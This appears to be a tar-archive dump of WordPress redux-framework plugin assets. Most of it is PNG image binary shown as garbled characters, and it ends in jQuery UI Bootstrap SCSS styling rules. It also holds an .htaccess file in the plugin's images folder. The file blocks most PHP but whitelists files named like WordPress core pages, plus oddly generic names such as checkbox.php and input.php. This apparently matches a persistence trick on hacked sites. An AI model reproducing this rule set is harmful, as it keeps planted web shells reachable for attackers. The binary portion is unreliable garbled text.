gl/\U^u$|mbVnw \V|D͊NVNy7�k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)�U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$�ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_888888_256x240.png������������0000644�����������������00000010421�14720701300�0024604 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������IJ���PLTEƁO���NtRNS�2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhH��IDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;�PZ�sVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ �JҸٻ�9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R� HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}�Q3.Nس}�)>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`�Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy� }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }�i�`;ADm8n:cfA@s7L� Z/..h8or? N93B~o_'`�opO- :TG L;7]`B%˛>*wTpM�0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(r<qȁVyrrA**دzg6D# YP`vs~(zMle|uQa*}+T RX c"+* NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\ %,ߚ/pR~/^lnp 7t0_0l4 _b0MWΦjmбɎl |re ȫ`B-v.iRox} )%#`ЂR5CA2sua�sYy3=jaeoI7~.plA΃ `O) ^>Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G�FZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a�v]m1+3�y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m�=i0ci9}oI qT]�W%.(؅]z\x f"]o'u䫵tk{v;A�C3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L�0 QiH2;yTOok;ע ٶ`RNg{zy!�Kxm?A(vU~mL(`o/!nmX-{v�[ dw=n「sdwzn(}Oy~ m ?XU;,�V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)�W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7�k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)�U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$�ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_ffffff_256x240.png������������0000644�����������������00000010421�14720701300�0025230 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������IJ���PLTE ���NtRNS�2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhH��IDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;�PZ�sVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ �JҸٻ�9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R� HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}�Q3.Nس}�)>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`�Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy� }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }�i�`;ADm8n:cfA@s7L� Z/..h8or? N93B~o_'`�opO- :TG L;7]`B%˛>*wTpM�0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(r<qȁVyrrA**دzg6D# YP`vs~(zMle|uQa*}+T RX c"+* NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\ %,ߚ/pR~/^lnp 7t0_0l4 _b0MWΦjmбɎl |re ȫ`B-v.iRox} )%#`ЂR5CA2sua�sYy3=jaeoI7~.plA΃ `O) ^>Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G�FZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a�v]m1+3�y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m�=i0ci9}oI qT]�W%.(؅]z\x f"]o'u䫵tk{v;A�C3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L�0 QiH2;yTOok;ע ٶ`RNg{zy!�Kxm?A(vU~mL(`o/!nmX-{v�[ dw=n「sdwzn(}Oy~ m ?XU;,�V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)�W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7�k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)�U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$�ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_glass_55_fbf9ee_1x400.png��������0000644�����������������00000000170�14720701300�0025746 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR��������oX ���?IDAT81 0�Bѯl`6Cs<]:[&BA e7lQJŜQY*����IENDB`��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_glass_65_ffffff_1x400.png��������0000644�����������������00000000151�14720701300�0026031 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR��������oX ���0IDAT8!� + ̼JHR)[lk=O_(<` H"����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_inset-soft_95_fef1ec_1x100.png���0000644�����������������00000000173�14720701300�0026725 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR������d���G,Z`���BIDAT;�BRm`'K֥FbZ&ѺvЙ|3�x [����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_cd0a0a_256x240.png������������0000644�����������������00000010421�14720701300�0025035 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������IJ���PLTE Fc���NtRNS�2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhH��IDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;�PZ�sVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ �JҸٻ�9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R� HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}�Q3.Nس}�)>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`�Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy� }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }�i�`;ADm8n:cfA@s7L� Z/..h8or? N93B~o_'`�opO- :TG L;7]`B%˛>*wTpM�0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(r<qȁVyrrA**دzg6D# YP`vs~(zMle|uQa*}+T RX c"+* NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\ %,ߚ/pR~/^lnp 7t0_0l4 _b0MWΦjmбɎl |re ȫ`B-v.iRox} )%#`ЂR5CA2sua�sYy3=jaeoI7~.plA΃ `O) ^>Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G�FZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a�v]m1+3�y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m�=i0ci9}oI qT]�W%.(؅]z\x f"]o'u䫵tk{v;A�C3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L�0 QiH2;yTOok;ע ٶ`RNg{zy!�Kxm?A(vU~mL(`o/!nmX-{v�[ dw=n「sdwzn(}Oy~ m ?XU;,�V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)�W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7�k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)�U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$�ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-icons_2e83ff_256x240.png������������0000644�����������������00000010421�14720701300�0025002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������IJ���PLTE,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ˬM���NtRNS�2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhH��IDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;�PZ�sVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ �JҸٻ�9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R� HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}�Q3.Nس}�)>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`�Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy� }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }�i�`;ADm8n:cfA@s7L� Z/..h8or? N93B~o_'`�opO- :TG L;7]`B%˛>*wTpM�0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(r<qȁVyrrA**دzg6D# YP`vs~(zMle|uQa*}+T RX c"+* NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\ %,ߚ/pR~/^lnp 7t0_0l4 _b0MWΦjmбɎl |re ȫ`B-v.iRox} )%#`ЂR5CA2sua�sYy3=jaeoI7~.plA΃ `O) ^>Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G�FZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a�v]m1+3�y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m�=i0ci9}oI qT]�W%.(؅]z\x f"]o'u䫵tk{v;A�C3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L�0 QiH2;yTOok;ע ٶ`RNg{zy!�Kxm?A(vU~mL(`o/!nmX-{v�[ dw=n「sdwzn(}Oy~ m ?XU;,�V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)�W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7�k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)�U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$�ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/ui-bg_glass_75_e6e6e6_1x400.png��������0000644�����������������00000000156�14720701300�0025614 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR��������oX ���5IDAT81 � yUXHa@[{UUu@7 DF����IENDB`������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/images/.htaccess������������������������������0000644�����������������00000001626�14720701300�0022264 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.scss������������������0000644�����������������00000113174�14720701300�0024076 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Bootstrap (0.5) * http://addyosmani.github.com/jquery-ui-bootstrap * * Copyright 2012 - 2013, Addy Osmani * Dual licensed under the MIT or GPL Version 2 licenses. * * Portions copyright jQuery UI & Twitter Bootstrap */ .redux-container, .control-section-redux, .control-panel-redux, .redux-metabox { /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* * jQuery UI CSS Framework 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * * * To view and modify this theme, visit http://jqueryui.com/themeroller/ */ /* Component containers ----------------------------------*/ //.ui-widget { font-size:13px; } //.ui-widget .ui-widget { font-size: 1em; } //.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-size: 1em; } .ui-widget-content { border: 1px solid #aaaaaa; background: #ffffff url(images/ui-bg_glass_75_ffffff_1x400.png) 50% 50% repeat-x; color: #404040; } //.ui-widget-content a { color: #404040; } .ui-widget-header { font-weight:bold; border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); border:1px solid #666; } .ui-widget-header a { color: #222222; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { background-color: #e6e6e6; background-repeat: no-repeat; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0); text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); color: #333; font-size: 13px; line-height: normal; border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -webkit-transition: 0.1s linear background-image; -moz-transition: 0.1s linear background-image; -ms-transition: 0.1s linear background-image; -o-transition: 0.1s linear background-image; transition: 0.1s linear background-image; overflow: visible; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #555555; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { background-position: 0 -15px; color: #333; text-decoration: none; } .ui-state-hover a, .ui-state-hover a:hover, .ui-state-hover a:link, .ui-state-hover a:visited { color: #212121; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; font-weight: normal; color: #212121; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight p, .ui-state-error p, .ui-state-default p{ font-size: 13px; font-weight: normal; line-height: 18px; margin:7px 15px; } .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { position: relative; margin-bottom: 18px; color: #404040; background-color: #eedc94; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94)); background-image: -moz-linear-gradient(top, #fceec1, #eedc94); background-image: -ms-linear-gradient(top, #fceec1, #eedc94); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94)); background-image: -webkit-linear-gradient(top, #fceec1, #eedc94); background-image: -o-linear-gradient(top, #fceec1, #eedc94); background-image: linear-gradient(top, #fceec1, #eedc94); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceec1', endColorstr='#eedc94', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #eedc94 #eedc94 #e4c652; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); border-width: 1px; border-style: solid; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error { position: relative; margin-bottom: 18px; color: #ffffff; border-width: 1px; border-style: solid; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); background-color: #c43c35; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35)); background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35)); background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); background-image: linear-gradient(top, #ee5f5b, #c43c35); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #c43c35 #c43c35 #882a25; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } .ui-state-disabled .ui-icon { filter:Alpha(Opacity=35); } /* For IE8 - See #6059 */ /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_f6cf3b_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } 